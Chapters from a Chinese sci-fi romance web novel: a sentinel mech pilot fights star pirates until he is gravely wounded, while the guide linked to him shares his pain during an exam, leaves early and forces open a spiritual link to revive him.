下一刻，陆厌离只觉身后不远处一股前推的力量传来，面色沉凝地稍稍调整一下角度，冥渊再次加速，迅猛地扑向了下一艘舰艇。 身后，巨大的烟花炸裂，三秒前还完好无损的护卫舰，已然在无声的爆炸中，化作一团巨大的太空垃圾！ 而这，还仅仅是开始！ 面对着联盟方派出的这股机动性极强的机甲战队，敌方也不甘示弱地集结起了自己的机甲群，如蜂群般向着冥渊的方向蜂拥而上。 然而，面对着这样的攻势，陆厌离连眼睛也没眨一下，身下驾驶的冥渊不退反进，身后引擎口一阵凶猛喷射，机甲周身猛地爆发出一片几不可见的蓝紫雾气。 雾气一被放出，便如同活物般翻滚着迅速扩散开来，将周身数十架敌方机甲瞬间笼罩其中！ 下一刻，被笼罩住的机甲，纷纷失控，有的横冲直撞之下，与己方其他完好的机甲撞击在一起，有的直接失去了动力，漂浮在太空之中，瞬间没了声息。 “开毒域了……”后方的镇魂号指挥室内，副官塞西尔看着战术屏上那片迅速扩大开来的静默区域，声音中带着敬畏与一丝不易察觉的忧虑。 少将的能力，更强了，但是在真空环境下使用这样的强力技能，消耗太大了…… 对面的星盗们被这番迅猛的攻势打懵了。一台台机甲纷纷停了下来，有的还向着远离冥渊的方向退了一段距离。 他们早知道联盟经过了上次的落败，这一次的讨伐舰队一定比上次的阵容更加强大，攻势更猛。 为此，他们花费了巨大的人力物力，提前几个月便做好了准备，在附近这片星域中，一路布置了许多陷阱和伏兵，甚至还提前隐藏了数艘重火力改装舰。 在他们的预测中，他们会且战且退，顺着开始设计好的路线，把联盟的舰队引入彀中。 但他们万万没想到，联盟派来的会是陆厌离这尊杀神！ 他不是已经将近一年不曾出现过了吗？！外界早就传遍他已经死亡的讯息，甚至联盟中早在几个月前就有许多民众，自发为他开过追悼会了，他怎么会还活着？！甚至能力比巅峰时期更加强悍了！ 更可怕得是，这位鼎鼎有名的双王之一，会如此疯狂地亲自下场冲锋在前，打法暴烈，凶悍激进，完全不顾及自身安危与能量消耗！ “拦住他！用重火力覆盖那片区域！所有人员，启动反精神污染力场！” “退退退！所有机甲队回来！用炮艇的火力逼退他！” “放屁！就凭这些乌龟一样速度的舰队，能防得住陆厌离？！机甲战队给我顶上去！” 断刃舰队，一艘隐藏在众多不同舰艇之间的指挥舰上，几个联合星盗首领气急败坏地咆哮争吵着。 战场最前方的机甲、舰队一时因为指挥频道里五花八门的指令，停滞了下来。 陆厌离岂会放过如此良机？ “机会！我去突破，机甲队！保持距离跟上！” 陆厌离眼中戾气大盛。 冥渊突然做出一个近乎不可能的高速冲刺，险之又险地避开迎面而来的数道致命光束。 面对着面前的舰艇纷纷开启的反污染力场，他非但没有收敛，反而将精神力催动到极致！ 蓝紫毒雾骤然变得肉眼可见，甚至恍惚间，化为一片燃烧着的蓝紫火海，随着陆厌离的冲刺，在星盗团的先锋舰队中，狂暴地蔓延开来！ 眼见那片蓝紫狂潮已经尽在咫尺，位于舰队中间的几艘隐藏重型炮舰纷纷急速调转炮口，粗大的能量光束锁定冥渊，就要不顾友军安危地直接开炮。 然而，他们调转炮口的速度，哪里比得上正在冲刺中的冥渊？只见它背后再次喷射出一股灿烂焰光，整个机甲在空中一个利落翻身，便如离弦之箭般，顶着残余的干扰和炮火，直直插入了对面舰艇最密集的队伍腹部！ 轰——！ 数艘炮舰、护卫舰在轰隆炮火之中爆裂开来！ 无声无息中演绎着残酷的死亡乐章！ “不！” “快转向！” “啊——！” 星盗团的指挥舰，正隐藏在这片密集舰艇之中，即使紧急转向，也没有完全躲过这一波巨大的冲击。 剧烈的爆炸点亮了整片星域。 指挥舰前半部被撕开一个巨大的豁口，动力瞬间丧失大半，如同断了脊梁的巨兽，在虚空中无助地旋转着，所有通讯频道在一声尖锐的爆鸣后统统沉寂了下去。 “上校！失去敌方通讯信号反应！”旗舰中，坐在监控室中的操作员们一阵欢呼。 然而，指挥室内的气氛却并未轻松多少。 随军医疗官看着屏幕上实时传回的陆厌离生理数据，眉头紧锁：“少将的精神波动极不稳定！堕化值正在快速攀升！能量消耗速率超过安全阈值120%！他……他这是在透支自己！” 副官塞西尔看着战术屏上那道依旧在敌阵中疯狂冲杀，每一次攻击都带着毁灭性力量的蓝紫色身影，忧心忡忡。 “从进入M85星系开始，少将就像是换了一个人。命令舰队压缩休整时间，拒绝轮换，自己更是身先士卒……这根本不像他以往精准规律的战斗风格，他为什么如此急迫？” 不远处，被身周数道爆炸火光映照通明的冥渊之中，陆厌离沉眉压眼，幽深的瞳孔中不见一丝犹豫，身周缭绕着的几成实质的精神力下，是冰冷凌冽的汹涌杀意。 然而，在这样酷烈的表象下，他的一颗心却早已飞跃了万千星河，被遥远星空外一道虚幻的人影牢牢牵住。 每一次挥刃，都是一次回眸；每一次冲击，都是一次牵引。流淌在他体内的每一丝精神力，都在咆哮着对着他催促：快一点！再快一点！消灭掉眼前的一切！去找他！ 江寻。 这个如有魔力的名字，烙印在他的精神核心之中，灼灼燃烧，推着他，撵着他，在战火纷争与死亡的间隙中牢牢地锁着他。 太久的思念如毒藤般死死缠绕着他的心，在无人的深夜里折磨得他辗转反侧。 他等不及，承受不住，狂烈的思念，让他一往无前不顾一切的进攻！进攻！再进攻！ 必须尽快结束这场战斗！必须！ “目标，星盗后方主基地！舰队火力全开！给我把这支舰队全部撕开！” 陆厌离的声音透过通讯频道传来，带着不容置疑的决绝和一丝难以掩饰的疲惫沙哑，“冥渊担任先锋！跟着我，清除前方所有障碍！” “少将！您的状态……”塞西尔担忧的声音响起，忍不住提醒。 “执行命令！” 陆厌离迅速打断，语气斩钉截铁。 话音未落，冥渊引擎再次爆发出刺目的光芒，如同燃烧生命的流星般，义无反顾地再次冲向星盗防御最严密的最后方区域。 蓝紫色的毒雾在他身后拉出一道长长的象征着死亡与毁灭的轨迹，堂皇展现出他此刻不顾一切的锋锐与疯狂。 星盗团在陆厌离这种不顾生死的疯狂打法下节节败退，内部纷争四起，本就不算团结的内部，分崩离析，士气迅速崩溃散尽。 镇魂号旗舰指挥室内，塞西尔和站在一旁的医疗官对视一眼，都看到了对方眼中的沉重。 少将的实力毋庸置疑，但这份力量，在毁灭敌人的同时，也在燃烧着他自己。 代价是什么？后果如何？谁也不知道。 他们只希望，在少将彻底燃尽自己之前，这场战役能如他所愿，尽快结束—— 作者有话说： 陆猫猫大喊：都走开！别妨碍我回家！ 第109章 江寻身体猛地一僵， 大脑瞬间空白，面前明亮而安静的考场景象刹那抽离。 眼前骤然一花，下一秒， 视野再亮， 一大蓬狂暴燃烧着的蓝紫火焰， 猛地占领他的全部视野。 啊——！ 江寻被这猝不及防出现在面前的凶险惊得浑身一颤，意识本能地想要后退，可大脑下达的命令， 却丝毫没有抵达身体。 视野中的距离非但未拉开， 承载着他视线的躯体反而悍然向前一冲，顶着面前爆燃的火焰纵身跃起。 下一刻，江寻的视野豁然洞开！ 浩瀚冰冷的宇宙星空环绕周身，无数炸裂爆燃的光爆与扭曲碎裂的金属残骸，化为残酷而壮烈的背景，一副比任何资料图片上， 都要更加巍峨壮阔的星域厮杀场景， 堂皇降临！ 这是…… 江寻被眼前突然出现的震撼场景惊到失语， 还未来得及做出反应。 一股撕裂般的剧痛便从四肢百骸之中汹涌袭来！仿佛每一根神经都在被毒火灼灼燃烧，身体骨骼嘎吱作响， 承受着超越极限的巨大冲击！ “呃——！” 江寻的眼眶一瞬大睁，被这突如其来的痛苦刺激地想要尖叫， 想要嘶吼，却连尖叫嘶吼的力气都挤不出， 喉咙大开却只能发出濒死般的嗬嗬喘息。 剧烈的痛苦让他眼前发黑，几乎要再次失去意识。 而这，还不是结束。 就在这撕心裂肺的剧痛攀升至顶点时，他的心头猛地一热， 一股冰凉刺骨的暴戾杀意，如同决堤的洪流，顺着那脆弱的精神链接，汹涌灌入江寻的精神海！ 刹那间，这好似来自灵魂深处的狂莽杀意，便如同野火燎原般，强势横扫过江寻的整个意识！ 眼球上爬满的毛细血管瞬间暴突而起，颈间青筋狰狞毕现！暴虐的阴影嚎叫着充溢他的脑海，如跗骨之蛆般，疯狂啃噬着他仅存的最后一丝清明！ “唔！” 江寻身体猛地一顿，闷哼一声，鼻间一热，温热黏腻的铁锈液体瞬间冲破了阻碍，蜿蜒流下。 这一点点来自本体的真实痛楚和湿濡触感，在此刻，如同投入沸水中的冰块，让江寻被共感冲击得几乎涣散的意识，猛地一个激灵！ 凭借着这点微弱的“锚点”，江寻这才勉强从那足以令人疯狂的强烈刺激中，夺回了一丝自我的掌控力！ 此时，重新运转起来的大脑，终于让他明了了如今的状况。 是那个奇异的技能又发动了！ 那边的人……是小树！ 他在战斗！一场酷烈暴虐，让他的身体和精神都濒临极限的亡命冲锋！ 共感的强度降低了一个等级，那浑身的剧痛这才让江寻能够忍耐下来。 眼前共享的视野仍未断绝。 江寻凝注起精神，在剧烈摇晃的视野中，竭力分辨着。 思维混乱，数道疑问纷至沓来。 这一次的“附身”为什么出现在自己还清醒着的时候？为什么会毫无预兆的突然建立起链接？刚才那番剧烈的痛苦来自于小树？他在哪里战斗？是不是非常危险？ 然而无论他的内心中如何翻腾，眼前的厮杀仍然在继续！ 江寻只看到“自己”的双手紧紧抓住控制器猛地向前一推，身下座驾一震，身周画面急速向后退去，随着速度的飙升，化为一片模糊的光影！ 前方，舰艇林立，无数致命的激光束、火炮如暴雨般迎面袭来！ “他”双手紧紧抓住控制器，一阵令人眼花缭乱地操作，视野在颠倒曲折中，迎着那片死亡的光影纵横飞驰！ 所过之处，阻挡的舰艇和机甲，在缭绕着的蓝紫火焰与能量刃的绞杀下纷纷化为无声爆裂的火球！整支舰队，在他这般野蛮的冲击下摇摇欲坠。 然而，就在这势如破竹的瞬间！ 江寻的视野中，猛地捕捉到了异常！ 在疯狂冲刺的座驾两翼，那片因爆炸而扭曲了光影的星域之中，有微弱的光点一闪而逝！ 强烈的危机感让江寻的视线紧紧锁定那不起眼的一片虚空，下一刻，光影一阵扭曲，光学迷彩被聚能磁场撕破，几艘重型隐形炮舰赫然显露出了它们狰狞的躯体，数十个黑洞洞的炮口，闪烁起蓄能的幽光，齐齐锁定了一心突击，似乎毫无防备的小树后背！ 不！危险——！ 江寻的心跳骤然停止！ 巨大的恐惧瞬间攥紧了他！他想对着那个仍旧毫无所觉的身影嘶吼提醒，但此时，他只是一个被动旁观的“附身者”，无法传递任何信息！ “不——！” 江寻仍然端坐在考场中的身体猛地绷紧，喉咙里发出压抑痛苦的，只有他自己能听到的尖利嘶鸣。 下一秒，那方视野被骤然照亮，一片铺天盖地的毁灭白光彻底吞噬了眼前的一切！ “小树——！” 江寻目眦欲裂，心神震动不休！他仿佛能感受到那足以融化星辰的高温正以迅猛的速度融化外壳，感受到小树正面承受的恐怖冲击！ 不，不要—— 他的心神在嘶嚎，在哀求，却丝毫无法将一丝一毫的声音传递到视野的另一端。 他双眼圆睁，不敢稍眨，心脏狂跳欲裂，脑海一片空白，眼中仅存的一点希冀的火光，在狂风中摇曳，几乎马上就要熄灭。 倏地，视野下方，忽然染上一点浅淡的蓝紫色。 江寻眼眸骤然亮起！下一瞬，那浅淡的蓝紫色澎湃燃烧起来，悍然驱散了身周所有白光！ 耳边传来一阵令人牙酸的金属呻吟，尖锐的警报声骤然响彻整个舱室，视野之中，面前的操作面板上火花迸射红光频闪。 在江寻期盼的目光中，一只染着刺目鲜红的苍白手臂猛地按上了面前的控制器！ 下一秒，撕裂真空的尖啸传来，视野颠倒旋转起来，剧烈的震颤之中，身下的座驾顶着蓝紫与血红交织的能量焰流，再次迅猛突进，悍然前冲。 江寻只觉余光中，两侧骤然爆开几团巨大的火球，无形的冲击波袭来，身下座驾在剧烈的震颤之中，再次加速！ 江寻刚在心底涌起一丝劫后余生的狂喜，心还未来得及完全落下，一股尖锐冰冷的剧痛，再次顺着链接清晰袭来！ 江寻面前的视野骤然一降，他看到“自己”的身体猛地矮了下去，单膝重重跪在了银白色的地板上。 汩汩血流，顺着撑地的手掌在脚下汇成一汪浅池，“他”剧烈地咳嗽了起来，点点血肉碎末随着止不住的咳呛，泼洒了一地。 小树！他受了重伤！ 考场中，江寻再也无法抑制，猛地站了起来！—— 作者有话说：想写3Q，但是发现这章停在这里最好！嗯~那就浅更个2Q吧[害羞] 第110章 “这位考生！” 一声严厉的低喝带着明显的不悦， 在江寻耳边炸响！ 安静的考场中，一位巡场的考官不知何时已站在了江寻的座位旁。 他皱着眉看着面前这个突然浑身僵硬，脸色惨白如纸， 甚至无意识地捏断了感应笔笔尖的考生， 眼神中升起一抹狐疑。 他的异常太过明显， 甚至引得周遭的其他考生都开始频频向他打量过来。 江寻被这近在咫尺的厉喝猛地拽回现实！ 眼前狂暴的宇宙战场，燃烧的机甲与贯穿身体的剧痛瞬间如潮水般退去，只剩下星穹大厅柔和的星光， 面前写到一半的光屏， 以及考官严肃审视的目光。 脑海中的精神链接仍未完全断开，视野另一端不断传来的剧痛，与经脉枯竭感，依旧抽搐得他皮下的血肉隐隐作痛，时时提醒着他另一端的那个人，此时岌岌可危的状态。 “抱……抱歉， 考官！” 江寻强行压下翻腾的心绪， 声音带着一丝不易察觉的沙哑。 察觉到鼻中的湿黏， 他顺势微仰起头，抬起手背一抹， 再翻转过手腕向考官展示那一抹刺目的红痕：“不知怎么的，突然流鼻血了。” 那考官看到他手背上的血迹， 神情稍缓，却还是严肃着告诫道：“身体不适可以举手或者在题板上呼叫考官， 不得干扰其他考生答题！” 江寻连声应下，又婉拒了对方让他休息的提议，只是从匆匆入场的校医手中接过几条消毒湿巾，自己草草处理了一番， 便再次不动声色地坐了回去。 他深吸一口气，迅速拨开桌上已然断裂的笔尖残骸，抬手从备用笔筒里抽出一支新的感应笔。 幸好在链接建立之前，他已经把题目答得七七八八，只剩下那最后一行结论未写。 剧痛仍然在绞杀着他的神经，连太阳穴上的青筋都在突突爬行。 江寻凭借着强大的意志力，将自己的表情完全收束起来，目光死死锁紧光屏上那最后一道未完成的题目，咬牙落笔。 龙飞凤舞的字迹开始以极快的速度从笔尖涌现，文字不再如之前一般沉稳流畅，而是凌厉又迅疾！ 短短数秒之间，便一挥而就。 感应笔划下最后一个句号，他甚至来不及检查，右手在界面上猛地一拍，“交卷”按钮被狠狠按下！ 嗡！ 他面前的光屏瞬间变暗，“答卷已提交”的字样浮现。 在刚刚挪步的考官错愕的目光中，在周围其他考生惊疑的注视下，在二楼观察区骤然爆发的压抑不住的惊呼和议论声中，江寻霍然起身！动作快得带起一阵劲风！ 他没有看周围的任何人，甚至没有去拿放在桌角的准考证，只是对着近在咫尺，脸色已然沉下来的考官再次快速说了一句：“非常抱歉！我有急事！” 话音未落，踉跄了一步，用强忍着疼痛的眼神匆匆看了考官一眼，低头鞠了一躬，随即坚定转身，大跨步匆匆而走，在无数道惊愕不解，亦或探究凝重的目光下，径直撞开了星穹大厅那扇沉重的星辉大门！ 下一秒，身影一拐，便消失在了门外走廊的光影交错之中。 徒留下身后陡然爆发出的一片议论声！ “不是吧？开考才多久……明家的那个种子学员，好像一半的题都没答完呢！” “什么？高级研修班入学考，他还敢提前交卷？” “这人……这不是那个B级向导么？他就这么自信吗？” “怎么可能？！他连初级的基础课程都没有上过，哪来的自信？是不是发现题目自己一点儿也不会做，破罐破摔了？” “……那这也太嚣张了吧，这态度让主考官记住了，他以后还考不考了？” 考官席上，头发花白的主考官艾略特教授也站了起来，锐利的目光扫过江寻空荡荡的考位，又看向门口，眉头深深皱起。 莉亚快步走到江寻的考位前，调出他刚刚提交的答卷，目光快速从上到下扫过。 看着整张考卷都已经全部写完，心中稍定，随后，视线从一道道题目上快速掠过，直至落到了那最后一题上。 前半部分的笔迹清晰明了，绘制的构架结构也很完整，方案的核心要点也描述得很精准，她越看越是满意，然而，当她的目光触及最后一行结语—— 笔画有些颤抖，笔迹略显急促，最后一划，笔尖长长地拉了出去，像是有什么未尽之语，带着一种仓皇。 莉亚眼中的严厉，被浓浓的疑问与一丝凝重所取代，这个夏因……刚才是怎么了？ 虽然心中不解，她还是在此时暂时按下了思绪，扭头看向主考官艾略特，微微颔首。 艾略特的表情放松下来，和蔼温和的笑意重新挂上面庞，隐藏在镜片后的眼神却闪过一抹深沉思索。 见两位考官都没有就“夏因”的匆匆离去多说什么，星穹大厅二楼的观察区里，关于“夏因”的议论声浪瞬间达到了顶点。 直到主考官威严的声音再次响起，嗡嗡的私语才转为无声的眼波交流。 这场本该严谨紧张的考试，因为江寻这突如其来的提前离场，蒙上了一层躁动而奇异的色彩。那个匆匆离去的身影，也在所有人的心中，留下了一抹带着些神秘的色彩。 * 考场外，温润明亮的白色走廊，此时在江寻两个交错的视野中，扭曲着晃动。 链接另一端，源源不断传来的剧痛与枯竭眩晕感，让江寻的每一根神经末梢都在抽搐着颤抖。 额上滑下的冷汗，浸湿了他的眼睫，让面前的世界都开始失真。他有点分不清，鼻尖传来的阵阵浓厚血腥味，是来自于他自己的鼻腔，还是链接另一端的那个人。 幸运的是，时值重要的高级入学考试期间，走廊空无一人，所有的目光都聚焦在了他身后的星穹大厅里，无人察觉他的异样。 他踉跄着冲进最近一间空置的教师休息室，反手“砰”地一声死死锁上门，后背重重抵在冰凉的门板上，才勉强支撑住摇摇欲坠的身体。 “呼……呼！” 剧烈的喘息声回荡着，在寂静的房间里格外清晰。 江寻顾不上去管额角渗出的冷汗，也顾不上去擦鼻中再次涌出的温热猩红，全部的注意力，都死死地锁定在了那不知多少光年之外，正通过那不知何时便会断掉的脆弱链接，传递过来的第一视角上！ 此时，链接另一头，红光疯狂闪烁，将染血的舱壁映得一片猩红。 通讯频道在一阵刺耳的“滋啦——滋滋——”的长音后，绿灯亮起，自动接通。一道失真的声音断断续续在舱室中响起。 “少将……不……伤太重了！快回……！”塞西尔的声音夹杂着嘈杂的电磁噪音，混杂在一片警报与尖锐耳鸣中，几乎被彻底淹没。 控制台的扩音器中，辅助战斗的AI模块也在不停地汇报着冥渊的损坏情况。 “咳……咳咳咳！” 陆厌离的意识在剧痛与失血带来的眩晕中沉浮，每一次咳嗽都带出更多的血沫，溅在已然伤痕累累的操控面板上，染红了冰冷的金属。 有点……激进了……念头在迟钝的意识中缓慢成型。 但是只要还能感受到痛苦，就还能……顶得住…… 他的脑海中划过这个念头，抬手狠狠抹去滑落嘴角的血沫，牙关紧咬，再次撑起身体。 强忍着几乎炸裂的头痛，与阵阵发黑的视野，陆厌离模糊掉耳旁乱七八糟糊成一团的各种声响，涣散的目光透过模糊的视野，死死锁定侧后方一艘失去了小半装甲，正被身周的另外两艘护卫舰牵引着，仓皇逃窜的中型巡回舰。 找到了！隐藏起来的指挥舰！ 好可惜，只差一点……刚才就差一点就能彻底撕开它！ 陆厌离把住操纵器，还想用力前推。可身体里那撑着他一路杀穿敌阵的最后一口气，正在随着奔涌而出的鲜血与逐渐枯竭下来的精神力，飞速消散。 耳边一直响着的通讯频道里，似乎又换了另一个人，一个急迫的声音，正声嘶力竭地不停重复着，试图穿透层层噪音引起他的注意。 陆厌离的视线游移着，艰难聚焦起来，一点声音终于冲破响彻耳边的嗡鸣，被他捕捉到。 “……注射！……人工向导素！缓释剂……精神海枯竭！……” 人工向导素？陆厌离涣散的瞳孔深处，掠过一丝极其微弱的苦涩，却又奇异地缠绕着一缕极深的缱绻温柔。 不行啊…… 他已经把自己完全送给了另一个人，从那道印记彻底侵占了自己的精神核心起，唯有那个人的赐予才能让自己的身体敞开接纳；唯有那个人的抚慰才能让自己的灵魂宁静下来。 缓释剂，镇静剂？ 不行，陆厌离的身体在疼痛中剧烈颤抖，思维却冰冷如刀，既对着他的敌人，也对着他自己。 我需要疼痛，对于哨兵来说，疼痛就是最后的兴奋剂，就差一点了！马上就可以结束了！我需要它……支撑着我结束这一切！ 死死咬住牙关，在刺耳的金属摩擦声中，控制器被他用尽最后的意志拉拽着，缓缓转动！ 在濒临崩溃的星盗团眼中，那台已然扭曲破碎，连背后的引擎与装甲都被撕开的蓝紫色死神，竟再次……缓缓转过了身！ 无尽的恐慌袭上所有人的心头！ 浅薄的利益再也驱动不了这些心志崩溃的星盗们。 侥幸在这一波冲击中存活下来的舰艇和机甲，纷纷调转方向，如惊弓之鸟般，再也顾不得各自首领的号令，向着四面八方亡命奔逃。 陆厌离丝毫没管那些已然分崩离析的小喽啰，他早在开战之初，便令联盟舰队包围了这片空域，那些散兵游勇已是瓮中之鳖。 他的目光，死死盯住前方那艘正在飞速逃离的巡回舰，颤抖的手指，带着决绝，在操纵面板上狠狠一拍。 咯吱——咯吱——！ 伴着一声声金属摩擦声，冥渊腰部两侧装甲猛地外翻！六只黑洞洞的炮口，如同死神的獠牙，森然探出！ 战术面板瞬间激活，弹道校准程序自动运行起来，飞速瞄准前方的目标。 “发射！” 启动按钮被染血的手指重重按下！ 陆厌离的嘴角，终于勾起开战以来的第一抹弧度。 下一秒，视野开始大片大片地陷入黑暗，意识如风中残烛般缓缓熄灭，残破的身躯再也无法支撑，重重歪倒了下去。 冥渊庞大的机体猛地一歪，动力全失，如同断了线的风筝，朝着冰冷深邃的宇宙虚空倾斜着，缓慢地漂浮了出去。 通讯频道里，瞬间爆发出一阵的焦急的嘶吼！—— 作者有话说：一更，惨惨的猫猫又受伤了[可怜]《 》 110-120 第111章 江寻的瞳孔骤然收缩！ 另一幅视角中看到的一切， 链接中倏然变得死寂的知觉，让他几乎失去了呼吸。下一秒，视野边缘开始模糊扭曲起来， 江寻猛地意识到了什么！目眦欲裂！ 他要失去意识了！链接要断开了！ 不——！ 江寻眼眸大睁， 死死盯着面前正在一寸一寸被黑暗吞噬的视野， 无能为力的绝望感觉，如同凌冽的坚冰，冻结了他的身躯。 他的脑海中一阵恍惚， 眼前的景象， 与记忆中一个遥远的画面轰然重合了起来！ 渐渐黑暗下来的视野中，那个口吐鲜血，缓缓倒下的身影，与记忆中那个浑身染血，无力滑落的小小身影瞬间重叠。 为什么？！为什么到了现在，我还是只能站在旁边， 无能为力地看着他倒下？！ 心脏像是被一只冰冷的大手狠狠攥住， 几欲窒息的无力感袭上心头。 滔天的恨意与怒火， 如同岩浆般从心底喷涌而出，瞬间焚遍全身！ 江寻的灵魂在燃火中咆哮！过往的一切从记忆中甦醒， 化为最炽烈的燃料，一股源自灵魂最深处的本能冲动， 轰然爆发开来！ 不！绝不！我要救他！我可以做到！ 他死死锁住那正在寸寸消散的第二视野，眼眸骤然爆发出骇人的精芒！ 下一刻， 他所有的意志与执念，凝聚成一柄撕裂虚空的巨锤，裹携着体内所有精纯磅礴的精神洪流，向着精神虚空之中， 冥冥无形的那一点狠狠撞去！ 嗡——！ 在他看不到的遥远彼端，滚烫的灼烧感在陆厌离后腰猛地炸开！半片复杂而华美的艳红图纹，如同响应君主的召唤，骤然在皮肤上亮起！ 江寻只觉得脑中轰然一空，一种玄妙到极点的感觉瞬间笼罩了他！跨越无尽光年的冰冷虚空，一道无形的，由极致的精神意志构成的无形通道，被强行贯通！ 无需思考，无需引导，江寻在通道贯通的刹那，瞬间明了了它的用法！ 下一刻，浩瀚如渊海的精神洪流，在其主人的强烈意志驱使下，朝着那刚刚打开的、滚烫而散发出熟悉气息的通道，毫无保留地疯狂灌涌进去！ 宇宙的另一边。 冥渊的舱室内，血腥味充溢了整个空间。 随着主人的意识沉沦下去，舱室内的灯光次第熄灭下来。 冰冷的黑暗，沉沉压了下来，即将彻底覆盖住倒在中央的那具失去意识的身躯。 忽然，无形的真空中，仿佛传来一声穿透灵魂的沉闷钟鸣。 倒伏在地的陆厌离后腰上，那处皮肤骤然亮起！一道鲜红如血的印痕，骤然燃烧起来！ “唔……！” 剧烈的灼痛感，令几乎要失去知觉的男人，克制不住的闷哼了一声，硬生生从沉沦的边缘拉回一丝涣散破碎的意识。 下一秒，无形的精神世界被轰然撞破！ 一股庞大、精纯、温暖到让灵魂都为之战栗的恐怖力量，毫无征兆地，从那亮起的红色印痕中，蛮横霸道地喷涌了出来！ “呃啊——！” 残破的身体被这股力量从内而外彻底冲刷而过，涣散开来的意识被强硬地重新唤醒！ 什么……？ 向着黑甜乡中坠落下去的意识猛然甦醒！ 这……这股力量…… 熟悉到让灵魂的每一个粒子都在尖叫的力量，带着不容置疑的霸道气息，瞬间涌流席卷向他身体的每一个角落！ 所过之处，枯竭干涸的经脉被强行贯通抚平！每一个濒临崩溃的细胞、每一寸撕扯破碎的血肉，都在这股力量涌流而过时被滋润，欢呼着苏醒了过来！ 下腹干涸的精神海，贪婪地吞噬着这天赐的甜美甘露，身体的每一寸每一分，都在力量的奔涌中狂舞着嘶吼着重生！ “呃啊啊啊——！” 一声混杂着极致痛苦与无边狂喜的嘶吼，从陆厌离染血的喉咙里迸发出来！ 软倒在地的身体猛地绷紧，久违的狂烈快感，毫无预兆地突然出现！他的身体如同被高压电流贯穿，脊椎一阵过电般的酥麻颤抖！紧闭的双眼骤然睁开！ 那双因重伤枯竭而黯淡下来的眼眸，此刻如同点燃了璀璨星辰，爆发出骇人精芒！ 瞳孔深处，剧烈的情绪翻涌如潮，陆厌离的嘴唇嗫嚅着，一个刻骨铭心的名字滑到了嘴边，却胆怯着不敢吐露出声。 这股精神力……这股刻入他骨髓中的气息…… 是你吗？真的是你吗？！ “江寻——！” 一声震撼灵魂，带着无尽狂喜的呼唤，穿透了陆厌离染血的喉咙，瞬间压过了驾驶舱内所有刺耳的警报声响！ 空寂的教室中。 江寻体内的精神力如倾泻的洪流般，顺着那一道无形的通道狂奔而出。骤然失去大半精神力，让他忍不住闷哼一声，额角青筋暴起，身体无力地摇晃几下，几乎软倒。 然而，身体上的不适，在此时，丝毫没有占据他的一分心神。 难以言喻的狂喜，在这一刻，冲刷掉了他所有的疲惫与痛苦！ 他听到了！ 不是通过耳朵，也不是通过那奇妙的“附身通感”， 而是通过那道被他强行撞破的无形大门！ 他无比清晰地从“门”的另一端，“听”到了自己的名字！ 他听到了小树的呼唤！第一次，以人的身份！ 巨大的惊喜瞬间席卷江寻全身，他死死抵着冰凉的金属门板，大口大口地喘息着，鼻腔里，血流滴滴答答地蜿蜒流下，每一次呼吸都带着浓浓的铁锈气息，可他的嘴角，却抑制不住地，向上扬起了一个极其复杂的灿烂弧度。 通道两端的两个人，此刻一个重伤欲死，一个虚弱喘息。 明明都形容狼狈，满身伤痛，可他们的眼底，却不约而同地同时绽放出纯粹而喜悦的明亮光芒。 两股截然不同又熟悉至极的精神力，隔着那道无形的“大门”，紧紧地贪婪的摩擦着，死死交缠在了一起！ * 精神力的洪流慢慢变成小溪，而后随着体内的空虚，渐渐隐没。那扇被强行撞开的“大门”也在虚空中缓缓闭合起来，隔绝了星空两端的两个人。 江寻的太阳穴传来针扎似的胀痛，经脉骨骸中传来阵阵抽痛。 然而，这一次，不一样了！江寻心中安稳，不再焦虑迷茫。 他能清晰地感觉到，那扇“门”并未消失，只是暂时关闭了起来。 一道被精准锚定了的无形道标，深深烙印在了他的感知深处！ 他的脑海中升起明悟，只要他的精神力重新充盈起来，意念所至，便可以将那扇门随时洞开！ 从此，不论他们之间阻隔着多远的距离，他都可以随时将他的目光、他的力量传递到那个人的身边！ 江寻扶着门板，缓缓站直了身体，尽管脚步还有些虚浮，面上却挂上了一抹欣喜笑意。 他抬起胳膊，用袖口随意抹去面上的狼狈，轻笑一声，转身离开。 * 身后的星穹大厅内，随着一声清脆的铃响，高级研修班入学考试，终于落下了帷幕。 场中考生情态各异。 有的志得意满地收拾了纸笔，转身就走；有的垂头丧气，与同来的伙伴彼此安慰。 而二楼那帮早已按捺不住的高级哨兵们，纷纷蜂拥而出，向着他们各自看好的目标围了上去。 其中，还有一小撮人，目标明确地小跑几步，笑嘻嘻地拦在了主考官艾略特和考官莉亚面前。 “姑姑！那个夏因，就是提前交卷离场的那个人，他是怎么回事啊？” 一个身材矫健，天生一张笑眯眯娃娃脸的哨兵率先开口，语气里带着熟稔与好奇。他是丹尼尔，莉亚的侄子，一位在读C级哨兵。 “是啊，莉亚考官，他提前了那么久交卷，题目真的都答完了吗？不会是乱写的吧？” 身边另一个哨兵附和道，盈着笑意的面庞上，眼神却闪烁不休。 莉亚抱着手臂，即使看着与自己关系亲近的侄子，脸上惯常的严肃也并未褪去，只是在嘴角勾起了一丝极其细微又意味深长的弧度。 她没有直接回答，目光扫过面前这些年轻气盛的哨兵，语气平淡却带着无形的压力：“考场有纪律，不容随意干扰。夏因考生因身体突发不适，提前交卷符合规定。至于答卷的质量……” 她顿了顿，目光扫向身后的艾略特教授。 艾略特脸上挂着和蔼的笑容，轻轻摇了摇头，语气带着长者特有的温和劝诫：“小伙子们，有好奇心是好事，但也要懂得尊重他人的隐私和考场规则。那位考生，提前交卷，自有他的考量。过度关注他人，不如专注于提升自身的实力。” 他虽未直接评价江寻的答卷，但那“自有考量”几个字，以及话语中隐含的维护之意，却让心思敏锐的几个人瞬间捕捉到了关键。 人群边缘，一个身形颀长，气质沉静的银发哨兵——洛伦茨，此时并未像其他人一样挤在人群中急切追问，耳朵却清清楚楚地竖起，时刻关注着那边的动静。 他那双冰蓝色的眼眸，在艾略特教授话音落下的瞬间，不易察觉地微微一闪。眼波微微一动，目光便越过喧闹的人群，精准地投向了江寻空置的考桌。 在众人的注意力都被两位考官的话语吸引过去时，洛伦茨无声地迈步上前。 动作迅捷如掠过水面的微风，修长的手指在桌角一扫，那张被江寻遗忘的，印着“夏因”名字和基本信息的准考证，便悄然落入他的指间。 指腹轻轻摩挲着卡片边缘，洛伦茨的目光落在准考证上的照片上。 小小的照片中，人影略显模糊，却掩不住那双直直注视向前方的沉静眼眸。看着那张照片，便让人恍惚间觉得，正在与那个身上带着些神秘气息的人影紧紧对视。 洛伦茨的指腹擦过登记在准考证上的几条信息，冰蓝色的瞳孔深处，掠过一丝充满探究意味的兴趣。 “夏因……B级向导？” 洛伦茨轻轻念出声来，手腕一翻，指尖的卡片便被无声地收拢起来。 